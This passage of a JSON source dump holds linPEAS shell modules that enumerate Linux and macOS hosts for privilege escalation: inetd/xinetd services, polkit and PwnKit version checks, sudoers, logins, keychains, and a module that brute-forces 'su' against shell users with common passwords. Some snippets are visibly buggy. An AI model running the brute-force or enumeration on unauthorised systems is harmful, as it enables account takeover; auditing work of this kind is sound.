\"\\W+\\#|^#\" | grep -iE \"shell|login|exec|rsh|rlogin|rexec|finger|telnet|ftp|tftp\" 2>/dev/null | sed -${E} \"s,.*,${SED_RED},g\"\n    else\n        echo_not_found \"/etc/inetd.conf\"\n    fi\n    \n    # Check for additional configuration files\n    echo -e \"\\nAdditional Inetd Configuration Files:\"\n    for conf_file in /etc/inetd.d/* /etc/inet/*.conf; do\n        if [ -f \"$conf_file\" ]; then\n            echo \"Found configuration in $conf_file:\"\n            warn_exec cat \"$conf_file\" | grep -v \"^$\" | grep -Ev \"\\W+\\#|^#\" 2>/dev/null\n        fi\n    done\n}\n\n# Function to analyze xinetd services\nanalyze_xinetd() {\n    echo \"\"\n    print_3title \"Xinetd Services\" \"T1049\"\n    # Check if xinetd is installed\n    if ! check_command xinetd; then\n        echo_not_found \"xinetd\"\n        return\n    fi\n    \n    # Check if xinetd is running\n    if ! pgrep -x xinetd >/dev/null 2>&1; then\n        echo \"xinetd is not running\" | sed -${E} \"s,.*,${SED_YELLOW},g\"\n    fi\n    \n    # Get xinetd version\n    warn_exec xinetd -version 2>/dev/null\n    \n    # Check main configuration file\n    if [ -f \"/etc/xinetd.conf\" ]; then\n        echo -e \"\\nXinetd Configuration (/etc/xinetd.conf):\"\n        warn_exec cat /etc/xinetd.conf | grep -v \"^$\" | grep -Ev \"\\W+\\#|^#\" 2>/dev/null\n        \n        # Check for included configurations\n        echo -e \"\\nIncluded Configurations:\"\n        warn_exec grep -r \"includedir\" /etc/xinetd.conf 2>/dev/null\n    else\n        echo_not_found \"/etc/xinetd.conf\"\n    fi\n    \n    # Check for service-specific configurations\n    echo -e \"\\nService Configurations:\"\n    for service_dir in /etc/xinetd.d/ /etc/xinetd/; do\n        if [ -d \"$service_dir\" ]; then\n            echo \"Services in $service_dir:\"\n            for service_file in \"$service_dir\"/*; do\n                if [ -f \"$service_file\" ]; then\n                    service_name=$(basename \"$service_file\")\n                    echo -e \"\\nService: $service_name\"\n                    # Check if service is enabled\n                    if grep -q \"disable.*=.*no\" \"$service_file\" 2>/dev/null; then\n                        echo \"Status: Enabled\" | sed -${E} \"s,.*,${SED_RED},g\"\n                    else\n                        echo \"Status: Disabled\"\n                    fi\n                    # Show service configuration\n                    warn_exec cat \"$service_file\" | grep -v \"^$\" | grep -Ev \"\\W+\\#|^#\" 2>/dev/null\n                    \n                    # Check for potentially dangerous configurations\n                    if grep -qiE \"server.*=.*/bin/|server.*=.*/sbin/|server.*=.*/usr/bin/|server.*=.*/usr/sbin/\" \"$service_file\" 2>/dev/null; then\n                        echo \"Warning: Service uses system binaries\" | sed -${E} \"s,.*,${SED_RED},g\"\n                    fi\n                    if grep -qiE \"user.*=.*root|user.*=.*0\" \"$service_file\" 2>/dev/null; then\n                        echo \"Warning: Service runs as root\" | sed -${E} \"s,.*,${SED_RED},g\"\n                    fi\n                fi\n            done\n        fi\n    done\n}\n\n# Function to check for running inetd/xinetd services\ncheck_running_services() {\n    echo \"\"\n    print_3title \"Running Inetd/Xinetd Services\" \"T1049\"\n    # Check netstat for services\n    if check_command netstat; then\n        echo \"Active Services (from netstat):\"\n        warn_exec netstat -tulpn 2>/dev/null | grep -E \"inetd|xinetd\" | sed -${E} \"s,.*,${SED_RED},g\"\n    fi\n    \n    # Check ss for services\n    if check_command ss; then\n        echo -e \"\\nActive Services (from ss):\"\n        warn_exec ss -tulpn 2>/dev/null | grep -E \"inetd|xinetd\" | sed -${E} \"s,.*,${SED_RED},g\"\n    fi\n    \n    # Check for service processes\n    echo -e \"\\nRunning Service Processes:\"\n    for inetd_service in $(pgrep -l inetd 2>/dev/null; pgrep -l xinetd 2>/dev/null); do\n        echo \"$inetd_service\" | sed -${E} \"s,.*,${SED_RED},g\"\n    done\n}\n\n# Main function to analyze inetd/xinetd services\nanalyze_inetd_services() {\n    print_2title \"Inetd/Xinetd Services Analysis\" \"T1049\"\n    # Analyze inetd and xinetd services\n    analyze_inetd\n    analyze_xinetd\n    \n    # Check for running services\n    check_running_services\n    \n    # Additional checks if EXTRA_CHECKS is enabled\n    if [ \"$EXTRA_CHECKS\" ]; then\n        echo \"\"\n        print_3title \"Additional Inetd/Xinetd Information\" \"T1049\"\n        # Check for inetd/xinetd logs\n        echo \"Checking for service logs...\"\n        for log_file in /var/log/inetd.log /var/log/xinetd.log /var/log/messages /var/log/syslog; do\n            if [ -f \"$log_file\" ]; then\n                echo \"Found log file: $log_file\" | sed -${E} \"s,.*,${SED_GREEN},g\"\n                warn_exec tail -n 20 \"$log_file\" | grep -iE \"inetd|xinetd\" 2>/dev/null\n            fi\n        done\n        \n        # Check for inetd/xinetd related files\n        echo -e \"\\nChecking for related files...\"\n        for file in /etc/init.d/inetd /etc/init.d/xinetd /etc/default/inetd /etc/default/xinetd; do\n            if [ -f \"$inetd_file\" ]; then\n                echo \"Found file: $inetd_file\" | sed -${E} \"s,.*,${SED_GREEN},g\"\n                warn_exec cat \"$inetd_file\" | grep -v \"^$\" | grep -Ev \"\\W+\\#|^#\" 2>/dev/null\n            fi\n        done\n    fi\n    \n    echo \"\"\n}\n\n# Run the main function\nanalyze_inetd_services"
  },
  {
    "path": "linPEAS/builder/linpeas_parts/6_users_information/10_Pkexec.sh",
    "content": "# Title: Users Information - Pkexec\n# ID: UG_Pkexec\n# Author: Carlos Polop\n# Last Update: 22-08-2023\n# Description: Check Pkexec policy and related files for privilege escalation\n# License: GNU GPL\n# Version: 1.0\n# Mitre: T1548.003,T1548.004,T1068\n# Functions Used: print_2title, print_info\n# Global Variables: $Groups, $groupsB, $groupsVB, $nosh_usrs, $sh_usrs, $USER\n# Initial Functions:\n# Generated Global Variables: $pkexec_bin, $pkexec_version, $policy_dir, $policy_file\n# Fat linpeas: 0\n# Small linpeas: 1\n\n\nprint_2title \"Checking Pkexec and Polkit\" \"T1548.003,T1548.004,T1068\"\nprint_info \"https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/interesting-groups-linux-pe/index.html#pe---method-2\"\n\necho \"\"\nprint_3title \"Polkit Binary\" \"T1548.003,T1068\"\n# Check pkexec binary\npkexec_bin=$(command -v pkexec 2>/dev/null)\nif [ -n \"$pkexec_bin\" ]; then\n  echo \"Pkexec binary found at: $pkexec_bin\" | sed -${E} \"s,.*,${SED_LIGHT_CYAN},g\"\n  if [ -u \"$pkexec_bin\" ]; then\n    echo \"Pkexec binary has SUID bit set!\" | sed -${E} \"s,.*,${SED_RED},g\"\n  fi\n  ls -l \"$pkexec_bin\" 2>/dev/null\n  \n  # Check polkit version for known vulnerabilities\n  if command -v pkexec >/dev/null 2>&1; then\n    pkexec --version 2>/dev/null\n    pkexec_version=\"$(pkexec --version 2>/dev/null | grep -oE '[0-9]+(\\\\.[0-9]+)+')\"\n    if [ \"$pkexec_version\" ] && [ \"$(printf '%s\\n' \"$pkexec_version\" \"0.120\" | sort -V | head -n1)\" = \"$pkexec_version\" ] && [ \"$pkexec_version\" != \"0.120\" ]; then\n      echo \"Potentially vulnerable to CVE-2021-4034 (PwnKit) - check distro patches\" | sed -${E} \"s,.*,${SED_RED_YELLOW},\"\n    fi\n  fi\nfi\n\n# Check polkit policies\necho \"\"\nprint_3title \"Polkit Policies\" \"T1548.003\"\nfor policy_dir in \"/etc/polkit-1/localauthority.conf.d/\" \"/etc/polkit-1/rules.d/\" \"/usr/share/polkit-1/rules.d/\"; do\n  if [ -d \"$policy_dir\" ]; then\n    echo \"Checking $policy_dir:\" | sed -${E} \"s,.*,${SED_LIGHT_CYAN},g\"\n    if [ -w \"$policy_dir\" ]; then\n      echo \"WARNING: $policy_dir is writable!\" | sed -${E} \"s,.*,${SED_RED},g\"\n    fi\n    for policy_file in \"$policy_dir\"/*; do\n      if [ -f \"$policy_file\" ]; then\n        if [ -w \"$policy_file\" ]; then\n          echo \"WARNING: $policy_file is writable!\" | sed -${E} \"s,.*,${SED_RED},g\"\n        fi\n        cat \"$policy_file\" 2>/dev/null | grep -v \"^#\" | grep -Ev \"\\W+\\#|^#\" 2>/dev/null | sed -${E} \"s,$groupsB,${SED_RED},g\" | sed -${E} \"s,$groupsVB,${SED_RED},g\" | sed -${E} \"s,$sh_usrs,${SED_LIGHT_CYAN},g\" | sed -${E} \"s,$nosh_usrs,${SED_BLUE},g\" | sed \"s,$USER,${SED_RED},g\" | sed -${E} \"s,$Groups,${SED_RED},g\"\n      fi\n    done\n  fi\ndone\n\n# Check for polkit authentication agent\necho \"\"\nprint_3title \"Polkit Authentication Agent\" \"T1548.004\"\nps aux 2>/dev/null | grep -i \"polkit\" | grep -v \"grep\"\necho \"\"\n"
  },
  {
    "path": "linPEAS/builder/linpeas_parts/6_users_information/11_Superusers.sh",
    "content": "# Title: Users Information - Superusers\n# ID: UG_Superusers\n# Author: Carlos Polop\n# Last Update: 22-08-2023\n# Description: Check for superusers and users with UID 0\n# License: GNU GPL\n# Version: 1.0\n# Mitre: T1087.001\n# Functions Used: print_2title, print_info\n# Global Variables: $knw_usrs, $nosh_usrs, $sh_usrs, $USER\n# Initial Functions:\n# Generated Global Variables: $group\n# Fat linpeas: 0\n# Small linpeas: 1\n\n\nprint_2title \"Superusers and UID 0 Users\" \"T1087.001\"\nprint_info \"https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/interesting-groups-linux-pe/index.html\"\n\n# Check /etc/passwd for UID 0 users\necho \"\"\nprint_3title \"Users with UID 0 in /etc/passwd\" \"T1087.001\"\nawk -F: '($3 == \"0\") {print}' /etc/passwd 2>/dev/null | sed -${E} \"s,$sh_usrs,${SED_LIGHT_CYAN},g\" | sed -${E} \"s,$nosh_usrs,${SED_BLUE},g\" | sed -${E} \"s,$knw_usrs,${SED_GREEN},g\" | sed \"s,$USER,${SED_RED_YELLOW},g\" | sed \"s,root,${SED_RED},g\"\n\nif [ command -v getent >/dev/null 2>&1 ]; then\n    for group in sudo wheel adm docker lxd lxc root shadow disk video; do\n        if getent group \"$group\" >/dev/null 2>&1; then\n            echo \"- Users in group '$group':\"\n            getent group \"$group\" 2>/dev/null | sed -${E} \"s,$sh_usrs,${SED_LIGHT_CYAN},g\" | sed -${E} \"s,$nosh_usrs,${SED_BLUE},g\" | sed -${E} \"s,$knw_usrs,${SED_GREEN},g\" | sed \"s,$USER,${SED_RED},g\" | sed \"s,root,${SED_RED},g\"\n        fi\n    done\nfi\n\n# Check for users with sudo privileges in sudoers\necho \"\"\nprint_3title \"Users with sudo privileges in sudoers\" \"T1087.001\"\ngrep -v \"^#\" /etc/sudoers 2>/dev/null | grep -v \"^$\" | grep -v \"^Defaults\" | sed -${E} \"s,$sh_usrs,${SED_LIGHT_CYAN},g\" | sed -${E} \"s,$nosh_usrs,${SED_BLUE},g\" | sed -${E} \"s,$knw_usrs,${SED_GREEN},g\" | sed \"s,$USER,${SED_RED_YELLOW},g\" | sed \"s,root,${SED_RED},g\"\necho \"\"\n"
  },
  {
    "path": "linPEAS/builder/linpeas_parts/6_users_information/12_Users_with_console.sh",
    "content": "# Title: Users Information - Users with console\n# ID: UG_Users_with_console\n# Author: Carlos Polop\n# Last Update: 22-08-2023\n# Description: Users with console\n# License: GNU GPL\n# Version: 1.0\n# Mitre: T1087.001\n# Functions Used: print_2title\n# Global Variables: $MACPEAS, $sh_usrs, $TIMEOUT, $USER \n# Initial Functions:\n# Generated Global Variables: $ushell, $no_shells, $unexpected_shells\n# Fat linpeas: 0\n# Small linpeas: 1\n\n\nprint_2title \"Users with console\" \"T1087.001\"\nif [ \"$MACPEAS\" ]; then\n  dscl . list /Users | while read un; do\n    ushell=$(dscl . -read \"/Users/$un\" UserShell | cut -d \" \" -f2)\n    if grep -q \"$ushell\" /etc/shells; then #Shell user\n      dscl . -read \"/Users/$un\" UserShell RealName RecordName Password NFSHomeDirectory 2>/dev/null | sed -${E} \"s,$sh_usrs,${SED_LIGHT_CYAN},\" | sed \"s,$USER,${SED_LIGHT_MAGENTA},\" | sed \"s,root,${SED_RED},\"\n      echo \"\"\n    fi\n  done\nelse\n  no_shells=$(grep -Ev \"sh$\" /etc/passwd 2>/dev/null | cut -d ':' -f 7 | sort | uniq)\n  unexpected_shells=\"\"\n  printf \"%s\\n\" \"$no_shells\" | while read f; do\n    if [ -x \"$f\" ]; then\n      if [ \"$TIMEOUT\" ]; then\n        if $TIMEOUT 1 \"$f\" -c 'whoami' 2>/dev/null | grep -q \"$USER\"; then\n          unexpected_shells=\"$f\\n$unexpected_shells\"\n        fi\n      else\n        if \"$f\" -c 'whoami' 2>/dev/null | grep -q \"$USER\"; then\n          unexpected_shells=\"$f\\n$unexpected_shells\"\n        fi\n      fi\n    fi\n  done\n  grep \"sh$\" /etc/passwd 2>/dev/null | sort | sed -${E} \"s,$sh_usrs,${SED_LIGHT_CYAN},\" | sed \"s,$USER,${SED_LIGHT_MAGENTA},\" | sed \"s,root,${SED_RED},\"\n  if [ \"$unexpected_shells\" ]; then\n    printf \"%s\" \"These unexpected binaries are acting like shells:\\n$unexpected_shells\" | sed -${E} \"s,/.*,${SED_RED},g\"\n    echo \"Unexpected users with shells:\"\n    printf \"%s\\n\" \"$unexpected_shells\" | while read f; do\n      if [ \"$f\" ]; then\n        grep -E \"${f}$\" /etc/passwd | sed -${E} \"s,/.*,${SED_RED},g\"\n      fi\n    done\n  fi\nfi\necho \"\"\n"
  },
  {
    "path": "linPEAS/builder/linpeas_parts/6_users_information/13_Users_groups.sh",
    "content": "# Title: Users Information - Users & groups\n# ID: UG_Users_groups\n# Author: Carlos Polop\n# Last Update: 22-08-2023\n# Description: Get all users & groups\n# License: GNU GPL\n# Version: 1.0\n# Mitre: T1087.001,T1069.001\n# Functions Used: print_2title\n# Global Variables: $groupsB, $groupsVB, $knw_grps, $knw_usrs, $MACPEAS, $nosh_usrs, $sh_usrs, $USER\n# Initial Functions:\n# Generated Global Variables:\n# Fat linpeas: 0\n# Small linpeas: 1\n\n\nprint_2title \"All users & groups\" \"T1087.001,T1069.001\"\nif [ \"$MACPEAS\" ]; then\n  dscl . list /Users | while read i; do id $i;done 2>/dev/null | sort | sed -${E} \"s,$groupsB,${SED_RED},g\" | sed -${E} \"s,$groupsVB,${SED_RED},g\" | sed -${E} \"s,$sh_usrs,${SED_LIGHT_CYAN},g\" | sed \"s,$USER,${SED_LIGHT_MAGENTA},g\" | sed -${E} \"s,$nosh_usrs,${SED_BLUE},g\" | sed -${E} \"s,$knw_usrs,${SED_GREEN},g\" | sed \"s,root,${SED_RED},\" | sed -${E} \"s,$knw_grps,${SED_GREEN},g\"\nelse\n  cut -d\":\" -f1 /etc/passwd 2>/dev/null| while read i; do id $i;done 2>/dev/null | sort | sed -${E} \"s,$groupsB,${SED_RED},g\" | sed -${E} \"s,$groupsVB,${SED_RED},g\" | sed -${E} \"s,$sh_usrs,${SED_LIGHT_CYAN},g\" | sed \"s,$USER,${SED_LIGHT_MAGENTA},g\" | sed -${E} \"s,$nosh_usrs,${SED_BLUE},g\" | sed -${E} \"s,$knw_usrs,${SED_GREEN},g\" | sed \"s,root,${SED_RED},\" | sed -${E} \"s,$knw_grps,${SED_GREEN},g\"\nfi\necho \"\""
  },
  {
    "path": "linPEAS/builder/linpeas_parts/6_users_information/14_Login_now.sh",
    "content": "# Title: Users Information - Login now\n# ID: UG_Login_now\n# Author: Carlos Polop\n# Last Update: 22-08-2023\n# Description: Check currently logged in users and their sessions\n# License: GNU GPL\n# Version: 1.0\n# Mitre: T1033\n# Functions Used: print_2title\n# Global Variables: $knw_usrs, $nosh_usrs, $sh_usrs, $USER\n# Initial Functions:\n# Generated Global Variables:\n# Fat linpeas: 0\n# Small linpeas: 1\n\n\nprint_2title \"Currently Logged in Users\" \"T1033\"\n# Check basic user information\necho \"\"\nprint_3title \"Basic user information\" \"T1033\"\n(w || who || finger || users) 2>/dev/null | sed -${E} \"s,$sh_usrs,${SED_LIGHT_CYAN},g\" | sed -${E} \"s,$nosh_usrs,${SED_BLUE},g\" | sed -${E} \"s,$knw_usrs,${SED_GREEN},g\" | sed \"s,$USER,${SED_LIGHT_MAGENTA},g\" | sed \"s,root,${SED_RED},g\"\n\n# Check for active sessions\necho \"\"\nprint_3title \"Active sessions\" \"T1033\"\nif command -v w >/dev/null 2>&1; then\n  w 2>/dev/null | sed -${E} \"s,$sh_usrs,${SED_LIGHT_CYAN},g\" | sed -${E} \"s,$nosh_usrs,${SED_BLUE},g\" | sed -${E} \"s,$knw_usrs,${SED_GREEN},g\" | sed \"s,$USER,${SED_LIGHT_MAGENTA},g\" | sed \"s,root,${SED_RED},g\"\nfi\n\n# Check for logged in users via utmp\necho \"\"\nprint_3title \"Logged in users (utmp)\" \"T1033\"\nif [ -f \"/var/run/utmp\" ]; then\n  who -a 2>/dev/null | sed -${E} \"s,$sh_usrs,${SED_LIGHT_CYAN},g\" | sed -${E} \"s,$nosh_usrs,${SED_BLUE},g\" | sed -${E} \"s,$knw_usrs,${SED_GREEN},g\" | sed \"s,$USER,${SED_LIGHT_MAGENTA},g\" | sed \"s,root,${SED_RED},g\"\nfi\n\n# Check for SSH sessions\necho \"\"\nprint_3title \"SSH sessions\" \"T1033\"\nif command -v ss >/dev/null 2>&1; then\n  ss -tnp | grep \":22\" 2>/dev/null | sed -${E} \"s,$sh_usrs,${SED_LIGHT_CYAN},g\" | sed -${E} \"s,$nosh_usrs,${SED_BLUE},g\" | sed -${E} \"s,$knw_usrs,${SED_GREEN},g\" | sed \"s,$USER,${SED_LIGHT_MAGENTA},g\" | sed \"s,root,${SED_RED},g\"\nfi\n\n# Check for screen sessions\necho \"\"\nprint_3title \"Screen sessions\" \"T1033\"\nif command -v screen >/dev/null 2>&1; then\n  screen -ls 2>/dev/null | sed -${E} \"s,$sh_usrs,${SED_LIGHT_CYAN},g\" | sed -${E} \"s,$nosh_usrs,${SED_BLUE},g\" | sed -${E} \"s,$knw_usrs,${SED_GREEN},g\" | sed \"s,$USER,${SED_LIGHT_MAGENTA},g\" | sed \"s,root,${SED_RED},g\"\nfi\n\n# Check for tmux sessions\necho \"\"\nprint_3title \"Tmux sessions\" \"T1033\"\nif command -v tmux >/dev/null 2>&1; then\n  tmux list-sessions 2>/dev/null | sed -${E} \"s,$sh_usrs,${SED_LIGHT_CYAN},g\" | sed -${E} \"s,$nosh_usrs,${SED_BLUE},g\" | sed -${E} \"s,$knw_usrs,${SED_GREEN},g\" | sed \"s,$USER,${SED_LIGHT_MAGENTA},g\" | sed \"s,root,${SED_RED},g\"\nfi\necho \"\""
  },
  {
    "path": "linPEAS/builder/linpeas_parts/6_users_information/15_Last_logons.sh",
    "content": "# Title: Users Information - Last logons\n# ID: UG_Last_logons\n# Author: Carlos Polop\n# Last Update: 22-08-2023\n# Description: Check last logons and login history\n# License: GNU GPL\n# Version: 1.0\n# Mitre: T1033\n# Functions Used: print_2title\n# Global Variables: $knw_usrs, $nosh_usrs, $sh_usrs, $USER\n# Initial Functions:\n# Generated Global Variables: $EXISTS_FINGER, $ushell\n# Fat linpeas: 0\n# Small linpeas: 1\n\nprint_2title \"Last Logons and Login History\" \"T1033\"\n# Check last logins\necho \"\"\nprint_3title \"Last logins\" \"T1033\"\nif command -v last >/dev/null 2>&1; then\n  last -n 20 2>/dev/null | sed -${E} \"s,$sh_usrs,${SED_LIGHT_CYAN},g\" | sed -${E} \"s,$nosh_usrs,${SED_BLUE},g\" | sed -${E} \"s,$knw_usrs,${SED_GREEN},g\" | sed \"s,$USER,${SED_LIGHT_MAGENTA},g\" | sed \"s,root,${SED_RED},g\"\nfi\n\n# Check failed login attempts\necho \"\"\nprint_3title \"Failed login attempts\" \"T1033\"\nif command -v lastb >/dev/null 2>&1; then\n  lastb -n 20 2>/dev/null | sed -${E} \"s,$sh_usrs,${SED_LIGHT_CYAN},g\" | sed -${E} \"s,$nosh_usrs,${SED_BLUE},g\" | sed -${E} \"s,$knw_usrs,${SED_GREEN},g\" | sed \"s,$USER,${SED_LIGHT_MAGENTA},g\" | sed \"s,root,${SED_RED},g\"\nfi\n\n# Check auth logs for recent logins\necho \"\"\nprint_3title \"Recent logins from auth.log (limit 20)\" \"T1033\"\nif [ -f \"/var/log/auth.log\" ]; then\n  grep -i \"login\\|authentication\\|accepted\" /var/log/auth.log 2>/dev/null | tail -n 20 | sed -${E} \"s,$sh_usrs,${SED_LIGHT_CYAN},g\" | sed -${E} \"s,$nosh_usrs,${SED_BLUE},g\" | sed -${E} \"s,$knw_usrs,${SED_GREEN},g\" | sed \"s,$USER,${SED_LIGHT_MAGENTA},g\" | sed \"s,root,${SED_RED},g\"\nfi\n\n# Last time logon each user\necho \"\"\nif command -v lastlog >/dev/null 2>&1; then\n  print_3title \"Last time logon each user\" \"T1033\"\n  lastlog 2>/dev/null | grep -v \"Never\" | sed -${E} \"s,$sh_usrs,${SED_LIGHT_CYAN},\" | sed -${E} \"s,$nosh_usrs,${SED_BLUE},\" | sed -${E} \"s,$knw_usrs,${SED_GREEN},\" | sed \"s,$USER,${SED_LIGHT_MAGENTA},\" | sed \"s,root,${SED_RED},\"\nfi\n\nEXISTS_FINGER=\"$(command -v finger 2>/dev/null || echo -n '')\"\nif [ \"$MACPEAS\" ] && [ \"$EXISTS_FINGER\" ]; then\n  dscl . list /Users | while read un; do\n    ushell=$(dscl . -read \"/Users/$un\" UserShell | cut -d \" \" -f2)\n    if grep -q \"$ushell\" /etc/shells; then #Shell user\n      finger \"$un\" | sed -${E} \"s,$sh_usrs,${SED_LIGHT_CYAN},\" | sed -${E} \"s,$nosh_usrs,${SED_BLUE},\" | sed -${E} \"s,$knw_usrs,${SED_GREEN},\" | sed \"s,$USER,${SED_LIGHT_MAGENTA},\" | sed \"s,root,${SED_RED},\"\n      echo \"\"\n    fi\n  done\nfi\necho \"\""
  },
  {
    "path": "linPEAS/builder/linpeas_parts/6_users_information/17_Password_policy.sh",
    "content": "# Title: Users Information - Password policy\n# ID: UG_Password_policy\n# Author: Carlos Polop\n# Last Update: 22-08-2023\n# Description: Get assword policy\n# License: GNU GPL\n# Version: 1.0\n# Mitre: T1201\n# Functions Used: echo_not_found, print_2title\n# Global Variables: $EXTRA_CHECKS, $MACPEAS\n# Initial Functions:\n# Generated Global Variables:\n# Fat linpeas: 0\n# Small linpeas: 0\n\n\nif [ \"$EXTRA_CHECKS\" ]; then\n  print_2title \"Password policy\" \"T1201\"\n  grep \"^PASS_MAX_DAYS\\|^PASS_MIN_DAYS\\|^PASS_WARN_AGE\\|^ENCRYPT_METHOD\" /etc/login.defs 2>/dev/null || echo_not_found \"/etc/login.defs\"\n  echo \"\"\n\n  if [ \"$MACPEAS\" ]; then\n    print_2title \"Relevant last user info and user configs\" \"T1201\"\n    defaults read /Library/Preferences/com.apple.loginwindow.plist 2>/dev/null\n    echo \"\"\n\n    print_2title \"Guest user status\" \"T1201\"\n    sysadminctl -afpGuestAccess status | sed -${E} \"s,enabled,${SED_RED},\" | sed -${E} \"s,disabled,${SED_GREEN},\"\n    sysadminctl -guestAccount status | sed -${E} \"s,enabled,${SED_RED},\" | sed -${E} \"s,disabled,${SED_GREEN},\"\n    sysadminctl -smbGuestAccess status | sed -${E} \"s,enabled,${SED_RED},\" | sed -${E} \"s,disabled,${SED_GREEN},\"\n    echo \"\"\n  fi\nfi"
  },
  {
    "path": "linPEAS/builder/linpeas_parts/6_users_information/18_Brute_su.sh",
    "content": "# Title: Users Information - Brute su\n# ID: UG_Brute_su\n# Author: Carlos Polop\n# Last Update: 22-08-2023\n# Description: Brute su\n# License: GNU GPL\n# Version: 1.0\n# Mitre: T1110.001\n# Functions Used: check_if_su_brute, print_2title, su_brute_user_num\n# Global Variables: $IAMROOT, $PASSTRY, $TIMEOUT\n# Initial Functions:\n# Generated Global Variables: $SHELLUSERS, $POSSIBE_SU_BRUTE\n# Fat linpeas: 0\n# Small linpeas: 0\n\n\nif ! [ \"$FAST\" ] && ! [ \"$SUPERFAST\" ] && [ \"$TIMEOUT\" ] && ! [ \"$IAMROOT\" ]; then\n  print_2title \"Testing 'su' as other users with shell using as passwords: null pwd, the username and top2000pwds\\n\"$NC\n  POSSIBE_SU_BRUTE=$(check_if_su_brute);\n  if [ \"$POSSIBE_SU_BRUTE\" ]; then\n    SHELLUSERS=$(cat /etc/passwd 2>/dev/null | grep -i \"sh$\" | cut -d \":\" -f 1)\n    printf \"%s\\n\" \"$SHELLUSERS\" | while read u; do\n      echo \"  Bruteforcing user $u...\"\n      su_brute_user_num \"$u\" $PASSTRY\n    done\n  else\n    printf $GREEN\"It's not possible to brute-force su.\\n\\n\"$NC\n  fi\nelse\n  print_2title \"Do not forget to test 'su' as any other user with shell: without password and with their names as password (I don't do it in FAST mode...)\\n\"$NC\nfi\nprint_2title \"Do not forget to execute 'sudo -l' without password or with valid password (if you know it)!!\\n\"$NC"
  },
  {
    "path": "linPEAS/builder/linpeas_parts/6_users_information/1_Macos_my_user_hooks.sh",
    "content": "# Title: Users Information - MacOS my user hooks\n# ID: UG_Macos_my_user_hooks\n# Author: Carlos Polop\n# Last Update: 22-08-2023\n# Description: Get current user Login and Logout hooks\n# License: GNU GPL\n# Version: 1.0\n# Mitre: T1033,T1543.001\n# Functions Used: print_2title\n# Global Variables: $HOME, $MACPEAS\n# Initial Functions:\n# Generated Global Variables:\n# Fat linpeas: 0\n# Small linpeas: 0\n\n\nif [ \"$MACPEAS\" ];then\n  print_2title \"Current user Login and Logout hooks\" \"T1033,T1543.001\"\n  defaults read $HOME/Library/Preferences/com.apple.loginwindow.plist 2>/dev/null | grep -e \"Hook\"\n  echo \"\"\nfi"
  },
  {
    "path": "linPEAS/builder/linpeas_parts/6_users_information/1_My_user.sh",
    "content": "# Title: Users Information - My User\n# ID: UG_My_user\n# Author: Carlos Polop\n# Last Update: 22-08-2023\n# Description: My User\n# License: GNU GPL\n# Version: 1.0\n# Mitre: T1033\n# Functions Used: print_2title, print_info\n# Global Variables: $groupsB, $groupsVB, $idB, $knw_grps , $knw_usrs, $nosh_usrs,$sh_usrs, $USER\n# Initial Functions:\n# Generated Global Variables:\n# Fat linpeas: 0\n# Small linpeas: 1\n\n\nprint_2title \"My user\" \"T1033\"\nprint_info \"https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/index.html#users\"\n(id || (whoami && groups)) 2>/dev/null | sed -${E} \"s,$groupsB,${SED_RED},g\" | sed -${E} \"s,$groupsVB,${SED_RED_YELLOW},g\" | sed -${E} \"s,$sh_usrs,${SED_LIGHT_CYAN},g\" | sed \"s,$USER,${SED_LIGHT_MAGENTA},g\" | sed -${E} \"s,$nosh_usrs,${SED_BLUE},g\" | sed -${E} \"s,$knw_usrs,${SED_GREEN},g\" | sed \"s,root,${SED_RED},\" | sed -${E} \"s,$knw_grps,${SED_GREEN},g\" | sed -${E} \"s,$idB,${SED_RED},g\"\necho \"\""
  },
  {
    "path": "linPEAS/builder/linpeas_parts/6_users_information/2_Macos_user_hooks.sh",
    "content": "# Title: Users Information - MacOS user hooks\n# ID: UG_Macos_user_hooks\n# Author: Carlos Polop\n# Last Update: 22-08-2023\n# Description: Enumerate all users login and logout hooks\n# License: GNU GPL\n# Version: 1.0\n# Mitre: T1543.001\n# Functions Used: print_2title\n# Global Variables: $MACPEAS \n# Initial Functions:\n# Generated Global Variables: $user_home\n# Fat linpeas: 0\n# Small linpeas: 0\n\n\nif [ \"$MACPEAS\" ];then\n  print_2title \"All Login and Logout hooks\" \"T1543.001\"\n  for user_home in /Users/*/ /private/var/root/; do\n    if [ -f \"${user_home}Library/Preferences/com.apple.loginwindow.plist\" ]; then\n      echo \"User: $(basename \"$user_home\")\" | sed -${E} \"s,.*,${SED_LIGHT_CYAN},g\"\n      defaults read \"${user_home}Library/Preferences/com.apple.loginwindow.plist\" 2>/dev/null | grep -e \"Hook\" | sed -${E} \"s,.*,${SED_RED_YELLOW},g\"\n    fi\n  done\n  echo \"\"\nfi"
  },
  {
    "path": "linPEAS/builder/linpeas_parts/6_users_information/3_Macos_keychains.sh",
    "content": "# Title: Users Information - MacOS Keychains\n# ID: UG_Macos_keychains\n# Author: Carlos Polop\n# Last Update: 22-08-2023\n# Description: Get macOS keychains information\n# License: GNU GPL\n# Version: 1.0\n# Mitre: T1555.001\n# Functions Used: print_2title, print_info\n# Global Variables: $MACPEAS\n# Initial Functions:\n# Generated Global Variables: $user_home\n# Fat linpeas: 0\n# Small linpeas: 0\n\n\nif [ \"$MACPEAS\" ];then\n  print_2title \"Keychains\" \"T1555.001\"\n  print_info \"https://book.hacktricks.wiki/en/macos-hardening/macos-security-and-privilege-escalation/macos-files-folders-and-binaries/macos-sensitive-locations.html#chainbreaker\"\n  echo \"System Keychains:\" | sed -${E} \"s,.*,${SED_LIGHT_CYAN},g\"\n  security list-keychains 2>/dev/null | sed -${E} \"s,.*,${SED_RED},g\"\n  echo -e \"\\nUser Keychains:\" | sed -${E} \"s,.*,${SED_LIGHT_CYAN},g\"\n  for user_home in /Users/*/; do\n    if [ -d \"${user_home}Library/Keychains\" ]; then\n      echo \"- User: $(basename \"$user_home\")\" | sed -${E} \"s,.*,${SED_LIGHT_CYAN},g\"\n      ls -la \"${user_home}Library/Keychains/\" 2>/dev/null | sed -${E} \"s,.*,${SED_RED},g\"\n    fi\n  done\n  echo \"\"\nfi"
  },
  {
    "path": "linPEAS/builder/linpeas_parts/6_users_information/4_Macos_systemkey.sh",
